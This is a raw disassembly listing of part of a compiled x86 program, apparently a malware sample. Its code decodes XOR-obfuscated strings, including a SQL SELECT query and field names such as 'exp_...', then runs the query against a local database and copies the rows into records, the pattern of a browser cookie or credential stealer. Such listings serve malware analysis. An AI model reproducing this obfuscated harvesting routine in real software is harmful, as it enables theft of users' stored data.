mov dword [ebp - 0x568], eax
mov dword [ebp - 0x564], eax
mov al, byte [edx]
inc edx
test al, al
jne 0x427494
sub edx, ecx
lea eax, [ebp - 0xf3]
push edx
push eax
lea ecx, [ebp - 0x578]
call fcn.00402ea0
mov byte [ebp - 4], 0x56
lea eax, [ebp - 0x578]
push eax
mov ecx, esi
call fcn.00470990
mov edi, eax
mov byte [ebp - 4], 0x55
mov ecx, dword [ebp - 0x564]
cmp ecx, 0xf
jbe 0x427502
mov edx, dword [ebp - 0x578]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4274f8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4289fd
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x568], 0
mov dword [ebp - 0x564], 0xf
mov byte [ebp - 0x578], 0
mov byte [ebp - 4], 0x59
mov cl, byte [edi]
mov al, byte [ebp - 0x340]
mov byte [edi], al
mov eax, dword [ebp - 0x338]
mov byte [ebp - 0x340], cl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov ecx, dword [ebp - 0x334]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x338], edx
mov dword [ebp - 0x334], esi
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0x338]
push dword [ebp - 0x340]
call fcn.0046a270
test ebx, ebx
je 0x4275c2
cmp dword [ebx + 0x2c], 0
je 0x42759d
mov eax, 4
cmp ax, word [ebx + 0x30]
jae 0x42759d
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x427592
push eax
call dword [0x541f10]
add esp, 4
mov ecx, dword [ebx + 0x2c]
add ecx, 0xa0
jmp 0x4275c7
mov eax, dword [ebx]
test eax, eax
je 0x4275c2
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4275b4
push eax
call dword [0x541f10]
add esp, 4
push 0
push 0x19
push dword [ebx]
call fcn.00493610
add esp, 0xc
mov ecx, 0x526330
mov dl, 1
call fcn.004a1090
mov edi, eax
test ebx, ebx
je 0x427623
mov esi, dword [ebx]
mov ecx, dword [ebx + 0x64]
test esi, esi
je 0x427606
cmp byte [esi + 0x1e], 0
jne 0x4275eb
cmp ecx, 0xc0a
jne 0x427601
push 0
push 7
push esi
call fcn.00493610
add esp, 0xc
mov byte [esi + 0x1e], 0
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x42760b
mov eax, 0xff
and eax, ecx
mov dword [ebx + 0x64], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x427623
push eax
call dword [0x541f18]
add esp, 4
xor eax, eax
mov dword [ebp - 0x14], edi
lea edx, [ebp - 0x14]
mov byte [ebp - 0x400], 0
lea ecx, [ebp - 0x400]
mov dword [ebp - 0x3f8], eax
mov dword [ebp - 0x3f4], eax
call fcn.0047eb30
mov byte [ebp - 4], 0x5a
xor ecx, ecx
mov dword [ebp - 0x81], 0x8d809a88
mov dword [ebp - 0x7d], 0x1008282
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x81], al
inc ecx
cmp ecx, 6
jb 0x427660
mov al, byte [ebp - 0x48]
mov byte [ebp - 0x7a], 0
test al, al
jne 0x4276a4
push 1
lea ecx, [ebp - 0x610]
mov byte [ebp - 0x48], 1
call fcn.0046a5a0
mov eax, dword [ebp - 0x60c]
mov esi, dword [ebp - 0x610]
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x3c], eax
mov al, byte [ebp - 0x48]
jmp 0x4276a7
mov esi, dword [ebp - 0x40]
cmp al, 1
jne 0x428aa6
xor eax, eax
lea edx, [ebp - 0x81]
mov dword [ebp - 0x590], eax
lea ecx, [edx + 1]
mov dword [ebp - 0x58c], eax
mov dword [ebp - 0x588], eax
mov dword [ebp - 0x584], eax
mov dword [ebp - 0x580], eax
mov dword [ebp - 0x57c], eax
mov edi, edi
mov al, byte [edx]
inc edx
test al, al
jne 0x4276e0
sub edx, ecx
lea eax, [ebp - 0x81]
push edx
push eax
lea ecx, [ebp - 0x590]
call fcn.00402ea0
mov byte [ebp - 4], 0x5b
lea eax, [ebp - 0x590]
push eax
mov ecx, esi
call fcn.00470990
mov edi, eax
mov byte [ebp - 4], 0x5a
mov ecx, dword [ebp - 0x57c]
cmp ecx, 0xf
jbe 0x42774e
mov edx, dword [ebp - 0x590]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x427744
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4289fd
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x580], 0
mov dword [ebp - 0x57c], 0xf
mov byte [ebp - 0x590], 0
mov byte [ebp - 4], 0x5e
mov cl, byte [edi]
mov al, byte [ebp - 0x400]
mov byte [edi], al
mov eax, dword [ebp - 0x3f8]
mov byte [ebp - 0x400], cl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov ecx, dword [ebp - 0x3f4]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x3f8], edx
mov dword [ebp - 0x3f4], esi
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0x3f8]
push dword [ebp - 0x400]
call fcn.0046a270
test ebx, ebx
je 0x42780e
cmp dword [ebx + 0x2c], 0
je 0x4277e9
mov eax, 5
cmp ax, word [ebx + 0x30]
jae 0x4277e9
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4277de
push eax
call dword [0x541f10]
add esp, 4
mov ecx, dword [ebx + 0x2c]
add ecx, 0xc8
jmp 0x427813
mov eax, dword [ebx]
test eax, eax
je 0x42780e
mov eax, dword [eax + 0x44]
test eax, eax
je 0x427800
push eax
call dword [0x541f10]
add esp, 4
push 0
push 0x19
push dword [ebx]
call fcn.00493610
add esp, 0xc
mov ecx, 0x526330
mov dl, 1
call fcn.004a1090
mov edi, eax
test ebx, ebx
je 0x42786f
mov esi, dword [ebx]
mov ecx, dword [ebx + 0x64]
test esi, esi
je 0x427852
cmp byte [esi + 0x1e], 0
jne 0x427837
cmp ecx, 0xc0a
jne 0x42784d
push 0
push 7
push esi
call fcn.00493610
add esp, 0xc
mov byte [esi + 0x1e], 0
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x427857
mov eax, 0xff
and ecx, eax
mov dword [ebx + 0x64], ecx
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42786f
push eax
call dword [0x541f18]
add esp, 4
xor eax, eax
mov dword [ebp - 0x14], edi
lea edx, [ebp - 0x14]
mov byte [ebp - 0x3f0], 0
lea ecx, [ebp - 0x3f0]
mov dword [ebp - 0x3e8], eax
mov dword [ebp - 0x3e4], eax
call fcn.0047eb30
mov byte [ebp - 4], 0x5f
xor ecx, ecx
mov dword [ebp - 0x1ca], 0x86858185
mov dword [ebp - 0x1c6], 0xb18a8282
mov dword [ebp - 0x1c2], 0x8095948e
mov dword [ebp - 0x1be], 0xa9868796
mov dword [ebp - 0x1ba], 0x1009c9e
lea ecx, [ecx]
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x1ca], al
inc ecx
cmp ecx, 0x12
jb 0x4278d0
mov al, byte [ebp - 0x48]
mov byte [ebp - 0x1b7], 0
test al, al
jne 0x427917
push 1
lea ecx, [ebp - 0x638]
mov byte [ebp - 0x48], 1
call fcn.0046a5a0
mov eax, dword [ebp - 0x634]
mov esi, dword [ebp - 0x638]
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x3c], eax
mov al, byte [ebp - 0x48]
jmp 0x42791a
mov esi, dword [ebp - 0x40]
cmp al, 1
jne 0x428a54
xor eax, eax
lea edx, [ebp - 0x1ca]
mov dword [ebp - 0x560], eax
lea ecx, [edx + 1]
mov dword [ebp - 0x55c], eax
mov dword [ebp - 0x558], eax
mov dword [ebp - 0x554], eax
mov dword [ebp - 0x550], eax
mov dword [ebp - 0x54c], eax
mov al, byte [edx]
inc edx
test al, al
jne 0x427951
sub edx, ecx
lea eax, [ebp - 0x1ca]
push edx
push eax
lea ecx, [ebp - 0x560]
call fcn.00402ea0
mov byte [ebp - 4], 0x60
lea eax, [ebp - 0x560]
push eax
mov ecx, esi
call fcn.00470990
mov edi, eax
mov byte [ebp - 4], 0x5f
mov ecx, dword [ebp - 0x54c]
cmp ecx, 0xf
jbe 0x4279bf
mov edx, dword [ebp - 0x560]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4279b5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4289fd
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x550], 0
mov dword [ebp - 0x54c], 0xf
mov byte [ebp - 0x560], 0
mov byte [ebp - 4], 0x63
mov cl, byte [edi]
mov al, byte [ebp - 0x3f0]
mov byte [edi], al
mov eax, dword [ebp - 0x3e8]
mov byte [ebp - 0x3f0], cl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov ecx, dword [ebp - 0x3e4]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x3e8], edx
mov dword [ebp - 0x3e4], esi
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0x3e8]
push dword [ebp - 0x3f0]
call fcn.0046a270
test ebx, ebx
je 0x427a83
cmp dword [ebx + 0x2c], 0
je 0x427a5e
mov eax, 6
cmp ax, word [ebx + 0x30]
jae 0x427a5e
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x427a53
push eax
call dword [0x541f10]
add esp, 4
mov ecx, dword [ebx + 0x2c]
add ecx, 0xf0
jmp 0x427a88
mov eax, dword [ebx]
test eax, eax
je 0x427a83
mov eax, dword [eax + 0x44]
test eax, eax
je 0x427a75
push eax
call dword [0x541f10]
add esp, 4
push 0
push 0x19
push dword [ebx]
call fcn.00493610
add esp, 0xc
mov ecx, 0x526330
mov dl, 1
call fcn.004a1090
mov edi, eax
test ebx, ebx
je 0x427ae4
mov esi, dword [ebx]
mov ecx, dword [ebx + 0x64]
test esi, esi
je 0x427ac7
cmp byte [esi + 0x1e], 0
jne 0x427aac
cmp ecx, 0xc0a
jne 0x427ac2
push 0
push 7
push esi
call fcn.00493610
add esp, 0xc
mov byte [esi + 0x1e], 0
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x427acc
mov eax, 0xff
and ecx, eax
mov dword [ebx + 0x64], ecx
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x427ae4
push eax
call dword [0x541f18]
add esp, 4
xor eax, eax
mov dword [ebp - 0x14], edi
lea edx, [ebp - 0x14]
mov byte [ebp - 0x3e0], 0
lea ecx, [ebp - 0x3e0]
mov dword [ebp - 0x3d8], eax
mov dword [ebp - 0x3d4], eax
call fcn.0047eb30
mov byte [ebp - 4], 0x64
xor ecx, ecx
mov dword [ebp - 0xb4], 0x818a8189
mov dword [ebp - 0xb0], 0x8b808d85
mov word [ebp - 0xac], 0x100
lea ecx, [ecx]
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0xb4], al
inc ecx
cmp ecx, 8
jb 0x427b30
mov al, byte [ebp - 0x48]
mov byte [ebp - 0xab], 0
test al, al
jne 0x427b6e
push 1
lea ecx, [ebp - 0x20]
mov byte [ebp - 0x48], 1
call fcn.0046a5a0
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x3c], eax
mov al, byte [ebp - 0x48]
jmp 0x427b71
mov esi, dword [ebp - 0x40]
cmp al, 1
jne 0x428a02
xor eax, eax
lea edx, [ebp - 0xb4]
mov dword [ebp - 0x5a8], eax
lea ecx, [edx + 1]
mov dword [ebp - 0x5a4], eax
mov dword [ebp - 0x5a0], eax
mov dword [ebp - 0x59c], eax
mov dword [ebp - 0x598], eax
mov dword [ebp - 0x594], eax
mov al, byte [edx]
inc edx
test al, al
jne 0x427ba8
sub edx, ecx
lea eax, [ebp - 0xb4]
push edx
push eax
lea ecx, [ebp - 0x5a8]
call fcn.00402ea0
mov byte [ebp - 4], 0x65
lea eax, [ebp - 0x5a8]
push eax
mov ecx, esi
call fcn.00470990
mov edi, eax
mov byte [ebp - 4], 0x64
mov ecx, dword [ebp - 0x594]
cmp ecx, 0xf
jbe 0x427c16
mov edx, dword [ebp - 0x5a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x427c0c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4289fd
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x598], 0
mov dword [ebp - 0x594], 0xf
mov byte [ebp - 0x5a8], 0
mov byte [ebp - 4], 0x68
mov cl, byte [edi]
mov al, byte [ebp - 0x3e0]
mov byte [edi], al
mov eax, dword [ebp - 0x3d8]
mov byte [ebp - 0x3e0], cl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov ecx, dword [ebp - 0x3d4]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x3d8], edx
mov dword [ebp - 0x3d4], esi
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0x3d8]
push dword [ebp - 0x3e0]
call fcn.0046a270
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x50]
cmp dword [eax + 0x10], 0
jbe 0x427ca6
push eax
lea ecx, [ebp - 0x81c]
call fcn.00468b20
mov byte [ebp - 4], 0x69
or dword [ebp - 0x10], 0x800
jmp 0x427d40
mov dword [ebp - 0xa1], 0x8b8f8da3
xor ecx, ecx
mov dword [ebp - 0x9d], 0x99809e
mov byte [ebp - 0x99], 1
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0xa1], al
inc ecx
cmp ecx, 7
jb 0x427cc3
xor eax, eax
mov byte [ebp - 0x99], 0
lea ecx, [ebp - 0xa1]
mov dword [ebp - 0x5d0], eax
mov dword [ebp - 0x5cc], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x5c8], eax
mov dword [ebp - 0x5c4], eax
mov dword [ebp - 0x5c0], eax
mov dword [ebp - 0x5bc], eax
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427d10
sub ecx, edx
lea eax, [ebp - 0xa1]
push ecx
push eax
lea ecx, [ebp - 0x5d0]
call fcn.00402ea0
lea eax, [ebp - 0x5d0]
mov dword [ebp - 4], 0x6a
or dword [ebp - 0x10], 0x1000
push eax
lea ecx, [ebp - 0x5b8]
call fcn.00465f40
lea ecx, [ebp - 0x48]
push ecx
mov ecx, eax
call fcn.00465c60
mov dword [ebp - 4], 0x69
mov eax, dword [ebp - 0x10]
test eax, 0x1000
je 0x427d7e
and eax, 0xffffefff
lea ecx, [ebp - 0x5d0]
mov dword [ebp - 0x10], eax
call fcn.00402c80
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], 0x51
test eax, 0x800
je 0x427d9f
and eax, 0xfffff7ff
lea ecx, [ebp - 0x81c]
mov dword [ebp - 0x10], eax
call fcn.00402c80
mov byte [ebp - 4], 0x50
lea ecx, [ebp - 0x5e8]
call fcn.00402c80
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x518]
call fcn.00402c80
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x40]
push dword [ebp - 0x48]
call fcn.0046a270
mov ecx, ebx
call fcn.004a3c40
cmp eax, 0x64
je 0x426d70
test ebx, ebx
je 0x427e52
mov esi, dword [ebx]
mov edi, dword [esi + 0x44]
test edi, edi
je 0x427df7
push edi
call dword [0x541f10]
add esp, 4
mov eax, dword [ebx + 0x50]
mov dword [ebp - 0x14], 0
cmp eax, 0xbdf20da3
je 0x427e0f
cmp eax, 0x519c2973
jne 0x427e19
mov ecx, ebx
call fcn.004a2f40
mov dword [ebp - 0x14], eax
mov ecx, ebx
call fcn.004a30e0
test esi, esi
je 0x427e44
cmp byte [esi + 0x1e], 0
jne 0x427e33
cmp dword [ebp - 0x14], 0xc0a
jne 0x427e44
push 0
push 7
push esi
call fcn.00493610
add esp, 0xc
mov byte [esi + 0x1e], 0
test edi, edi
je 0x427e52
push edi
call dword [0x541f18]
add esp, 4
mov dword [ebp - 0x26f], 0xafa5adb4
xor ecx, ecx
mov dword [ebp - 0x26b], 0x80cdb8a8
mov dword [ebp - 0x267], 0xad949d8e
mov dword [ebp - 0x263], 0x95aa9a9c
mov dword [ebp - 0x25f], 0xd69d8a96
mov dword [ebp - 0x25b], 0x8e8599db
mov dword [ebp - 0x257], 0x6c6e6da0
mov dword [ebp - 0x253], 0x26296c77
mov dword [ebp - 0x24f], 0x55797062
mov dword [ebp - 0x24b], 0x7c6c6972
mov dword [ebp - 0x247], 0x737d3023
mov dword [ebp - 0x243], 0x704a6060
mov dword [ebp - 0x23f], 0x366b6d78
mov dword [ebp - 0x23b], 0x7d74723b
mov dword [ebp - 0x237], 0x4f404e74
mov dword [ebp - 0x233], 0x74630446
mov dword [ebp - 0x22f], 0x47096568
mov dword [ebp - 0x22b], 0x4b465f4a
mov dword [ebp - 0x227], 0x40526f4b
mov dword [ebp - 0x223], 0x425c5056
mov dword [ebp - 0x21f], 0x48585b68
mov dword [ebp - 0x21b], 0x1004f5f
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x26f], al
inc ecx
cmp ecx, 0x56
jb 0x427f30
mov ecx, dword [ebp - 0x64]
lea eax, [ebp - 0x38]
push 0
push eax
push 0
push 1
push 0xffffffffffffffff
lea edx, [ebp - 0x26f]
mov byte [ebp - 0x218], 0
call fcn.004c63d0
add esp, 0x14
test eax, eax
jne 0x4288f4
mov ebx, dword [ebp - 0x38]
mov ecx, ebx
call fcn.004a3c40
cmp eax, 0x64
jne 0x42887e
push 0
lea ecx, [ebp - 0x4d8]
mov byte [ebp - 0x4e0], 0
call fcn.0046a5a0
mov byte [ebp - 4], 0x6c
test ebx, ebx
je 0x427fe7
cmp dword [ebx + 0x2c], 0
je 0x427fc2
xor eax, eax
cmp ax, word [ebx + 0x30]
jae 0x427fc2
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x427fbd
push eax
call dword [0x541f10]
add esp, 4
mov ecx, dword [ebx + 0x2c]
jmp 0x427fec
mov eax, dword [ebx]
test eax, eax
je 0x427fe7
mov eax, dword [eax + 0x44]
test eax, eax
je 0x427fd9
push eax
call dword [0x541f10]
add esp, 4
push 0
push 0x19
push dword [ebx]
call fcn.00493610
add esp, 0xc
mov ecx, 0x526330
mov dl, 1
call fcn.004a1090
mov edi, eax
test ebx, ebx
je 0x42804c
mov esi, dword [ebx]
mov ecx, dword [ebx + 0x64]
test esi, esi
je 0x42802f
cmp byte [esi + 0x1e], 0
jne 0x428014
cmp ecx, 0xc0a
jne 0x42802a
push 0
push 7
push esi
call fcn.00493610
add esp, 0xc
mov byte [esi + 0x1e], 0
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x428034
mov eax, 0xff
and ecx, eax
mov dword [ebx + 0x64], ecx
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42804c
push eax
call dword [0x541f18]
add esp, 4
xor eax, eax
mov dword [ebp - 0x14], edi
lea edx, [ebp - 0x14]
mov byte [ebp - 0x3d0], 0
lea ecx, [ebp - 0x3d0]
mov dword [ebp - 0x3c8], eax
mov dword [ebp - 0x3c4], eax
call fcn.0047eb30
mov byte [ebp - 4], 0x6d
xor ecx, ecx
mov dword [ebp - 0x17a], 0x8f848989
mov dword [ebp - 0x176], 0xb18383b4
mov dword [ebp - 0x172], 0x9683918c
mov word [ebp - 0x16e], 0x100
nop
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x17a], al
inc ecx
cmp ecx, 0xc
jb 0x4280a0
lea eax, [ebp - 0x17a]
mov byte [ebp - 0x16d], 0
push eax
lea ecx, [ebp - 0x4e0]
call fcn.0046d4f0
mov edi, eax
mov byte [ebp - 4], 0x6e
mov dl, byte [edi]
mov cl, byte [ebp - 0x3d0]
mov byte [edi], cl
mov eax, dword [ebp - 0x3c8]
mov ecx, dword [ebp - 0x3c4]
mov byte [ebp - 0x3d0], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x3c8], edx
mov dword [ebp - 0x3c4], esi
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x3c8]
push dword [ebp - 0x3d0]
call fcn.0046a270
test ebx, ebx
je 0x428172
cmp dword [ebx + 0x2c], 0
je 0x42814d
mov eax, 1
cmp ax, word [ebx + 0x30]
jae 0x42814d
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x428145
push eax
call dword [0x541f10]
add esp, 4
mov ecx, dword [ebx + 0x2c]
add ecx, 0x28
jmp 0x428177
mov eax, dword [ebx]
test eax, eax
je 0x428172
mov eax, dword [eax + 0x44]
test eax, eax
je 0x428164
push eax
call dword [0x541f10]
add esp, 4
push 0
push 0x19
push dword [ebx]
call fcn.00493610
add esp, 0xc
mov ecx, 0x526330
mov dl, 1
call fcn.004a1090
mov edi, eax
test ebx, ebx
je 0x4281d7
mov esi, dword [ebx]
mov ecx, dword [ebx + 0x64]
test esi, esi
je 0x4281ba
cmp byte [esi + 0x1e], 0
jne 0x42819f
cmp ecx, 0xc0a
jne 0x4281b5
push 0
push 7
push esi
call fcn.00493610
add esp, 0xc
mov byte [esi + 0x1e], 0
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x4281bf
mov eax, 0xff
and ecx, eax
mov dword [ebx + 0x64], ecx
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4281d7
push eax
call dword [0x541f18]
add esp, 4
xor eax, eax
mov dword [ebp - 0x14], edi
lea edx, [ebp - 0x14]
mov byte [ebp - 0x3c0], 0
lea ecx, [ebp - 0x3c0]
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 0x3b4], eax
call fcn.0047eb30
mov byte [ebp - 4], 0x6f
xor ecx, ecx
mov dword [ebp - 0x117], 0xb5999082
mov dword [ebp - 0x113], 0x9a838386
mov word [ebp - 0x10f], 0x87
mov byte [ebp - 0x10d], 1
jmp 0x428230
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x117], al
inc ecx
cmp ecx, 9
jb 0x428230
lea eax, [ebp - 0x117]
mov byte [ebp - 0x10d], 0
push eax
lea ecx, [ebp - 0x4e0]
call fcn.0046d4f0
mov edi, eax
mov byte [ebp - 4], 0x70
mov dl, byte [edi]
mov cl, byte [ebp - 0x3c0]
mov byte [edi], cl
mov eax, dword [ebp - 0x3b8]
mov ecx, dword [ebp - 0x3b4]
mov byte [ebp - 0x3c0], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x3b8], edx
mov dword [ebp - 0x3b4], esi
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x3b8]
push dword [ebp - 0x3c0]
call fcn.0046a270
test ebx, ebx
je 0x428302
cmp dword [ebx + 0x2c], 0
je 0x4282dd
mov eax, 2
cmp ax, word [ebx + 0x30]
jae 0x4282dd
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4282d5
push eax
call dword [0x541f10]
add esp, 4
mov ecx, dword [ebx + 0x2c]
add ecx, 0x50
jmp 0x428307
mov eax, dword [ebx]
test eax, eax
je 0x428302
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4282f4
push eax
call dword [0x541f10]
add esp, 4
push 0
push 0x19
push dword [ebx]
call fcn.00493610
add esp, 0xc
mov ecx, 0x526330
mov dl, 1
call fcn.004a1090
mov edi, eax
test ebx, ebx
je 0x428363
mov esi, dword [ebx]
mov ecx, dword [ebx + 0x64]
test esi, esi
je 0x428346
cmp byte [esi + 0x1e], 0
jne 0x42832b
cmp ecx, 0xc0a
jne 0x428341
push 0
push 7
push esi
call fcn.00493610
add esp, 0xc
mov byte [esi + 0x1e], 0
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x42834b
mov eax, 0xff
and eax, ecx
mov dword [ebx + 0x64], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x428363
push eax
call dword [0x541f18]
add esp, 4
xor eax, eax
mov dword [ebp - 0x14], edi
lea edx, [ebp - 0x14]
mov byte [ebp - 0x3b0], 0
lea ecx, [ebp - 0x3b0]
mov dword [ebp - 0x3a8], eax
mov dword [ebp - 0x3a4], eax
call fcn.0047eb30
mov byte [ebp - 4], 0x71
xor ecx, ecx
mov dword [ebp - 0xdc], 0xb5999082
mov dword [ebp - 0xd8], 0x9c8c8992
mov word [ebp - 0xd4], 0x100
lea esp, [esp]
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0xdc], al
inc ecx
cmp ecx, 8
jb 0x4283b0
lea eax, [ebp - 0xdc]
mov byte [ebp - 0xd3], 0
push eax
lea ecx, [ebp - 0x4e0]
call fcn.0046d4f0
mov edi, eax
mov byte [ebp - 4], 0x72
mov dl, byte [edi]
mov cl, byte [ebp - 0x3b0]
mov byte [edi], cl
mov eax, dword [ebp - 0x3a8]
mov ecx, dword [ebp - 0x3a4]
mov byte [ebp - 0x3b0], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x3a8], edx
mov dword [ebp - 0x3a4], esi
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x3a8]
push dword [ebp - 0x3b0]
call fcn.0046a270
test ebx, ebx
je 0x428482
cmp dword [ebx + 0x2c], 0
je 0x42845d
mov eax, 3
cmp ax, word [ebx + 0x30]
jae 0x42845d
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x428455
push eax
call dword [0x541f10]
add esp, 4
mov ecx, dword [ebx + 0x2c]
add ecx, 0x78
jmp 0x428487
mov eax, dword [ebx]
test eax, eax
je 0x428482
mov eax, dword [eax + 0x44]
test eax, eax
je 0x428474
push eax
call dword [0x541f10]
add esp, 4
push 0
push 0x19
push dword [ebx]
call fcn.00493610
add esp, 0xc
mov ecx, 0x526330
mov dl, 1
call fcn.004a1090
mov edi, eax
test ebx, ebx
je 0x4284e7
mov esi, dword [ebx]
mov ecx, dword [ebx + 0x64]
test esi, esi
je 0x4284ca
cmp byte [esi + 0x1e], 0
jne 0x4284af
cmp ecx, 0xc0a
jne 0x4284c5
push 0
push 7
push esi
call fcn.00493610
add esp, 0xc
mov byte [esi + 0x1e], 0
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x4284cf
mov eax, 0xff
and eax, ecx
mov dword [ebx + 0x64], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4284e7
push eax
call dword [0x541f18]
add esp, 4
xor eax, eax
mov dword [ebp - 0x14], edi
lea edx, [ebp - 0x14]
mov byte [ebp - 0x440], 0
lea ecx, [ebp - 0x440]
mov dword [ebp - 0x438], eax
mov dword [ebp - 0x434], eax
call fcn.0047eb30
mov byte [ebp - 4], 0x73
xor ecx, ecx
mov dword [ebp - 0x122], 0x9e9a898b
mov dword [ebp - 0x11e], 0x9b828ab4
mov word [ebp - 0x11a], 0x9d
mov byte [ebp - 0x118], 1
jmp 0x428540
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x122], al
inc ecx
cmp ecx, 9
jb 0x428540
lea eax, [ebp - 0x122]
mov byte [ebp - 0x118], 0
push eax
lea ecx, [ebp - 0x4e0]
call fcn.0046d4f0
mov edi, eax
mov byte [ebp - 4], 0x74
mov dl, byte [edi]
mov cl, byte [ebp - 0x440]
mov byte [edi], cl
mov eax, dword [ebp - 0x438]
mov ecx, dword [ebp - 0x434]
mov byte [ebp - 0x440], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x438], edx
mov dword [ebp - 0x434], esi
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x438]
push dword [ebp - 0x440]
call fcn.0046a270
test ebx, ebx
je 0x428615
cmp dword [ebx + 0x2c], 0
je 0x4285f0
mov eax, 4
cmp ax, word [ebx + 0x30]
jae 0x4285f0
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4285e5
push eax
call dword [0x541f10]
add esp, 4
mov ecx, dword [ebx + 0x2c]
add ecx, 0xa0
jmp 0x42861a
mov eax, dword [ebx]
test eax, eax
je 0x428615
mov eax, dword [eax + 0x44]
test eax, eax
je 0x428607
push eax
call dword [0x541f10]
add esp, 4
push 0
push 0x19
push dword [ebx]
call fcn.00493610
add esp, 0xc
mov ecx, 0x526330
mov dl, 1
call fcn.004a1090
mov edi, eax
test ebx, ebx
je 0x428676
mov esi, dword [ebx]
mov ecx, dword [ebx + 0x64]
test esi, esi
je 0x428659
cmp byte [esi + 0x1e], 0
jne 0x42863e
cmp ecx, 0xc0a
jne 0x428654
push 0
push 7
push esi
call fcn.00493610
add esp, 0xc
mov byte [esi + 0x1e], 0
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x42865e
mov eax, 0xff
and eax, ecx
mov dword [ebx + 0x64], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x428676
push eax
call dword [0x541f18]
add esp, 4
xor eax, eax
